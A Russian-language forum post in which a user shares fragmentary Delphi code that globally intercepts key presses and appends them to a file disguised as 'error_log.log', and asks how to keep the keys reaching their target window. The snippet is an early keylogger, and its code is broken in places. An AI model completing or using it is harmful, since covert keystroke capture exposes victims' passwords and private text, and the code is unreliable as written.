![]() |
|
#1
|
|||
|
|||
![]() Есть еще вопрос скажи как сделать так чтобы символы не только заносились в лог но и писались там где их пишут? а то код глобально перехватывает всё:
Код:
private id1, id2,: Integer; procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY; ......... procedure a (); var LogFile: textfile; begin AssignFile(LogFile,'C:error_log.log'); if FileExists('C:error_log.log') then Append(LogFile) else Rewrite(LogFile); Write(LogFile, 'a'); CloseFile(LogFile); end; procedure b (); var LogFile: textfile; begin AssignFile(LogFile,'C:error_log.log'); if FileExists('C:error_log.log') then Append(LogFile) else Rewrite(LogFile); Write(LogFile, 'b'); CloseFile(LogFile); end; procedure TForm1.WMHotKey(var Msg: TWMHotKey); begin if Msg.HotKey = id1 then begin a; end; if Msg.HotKey = id2 then begin b; end; procedure TForm1.FormCreate(Sender: TObject); begin id1 := AddAtom('Hotkey1'); RegisterHotKey(Handle, id1,0, VK_A); end;// и здесь не большая проблемма , как сделать чтоб регистрировать дополнительно //и VK_B и так далее { begin id1 := AddAtom('Hotkey1'); RegisterHotKey(Handle, id1,0, VK_B); end;} Заранее спасибо!!!!!!!!!!! Без "Незнающего Человека" , "Умных", ![]() Последний раз редактировалось Admin, 24.02.2010 в 16:57. |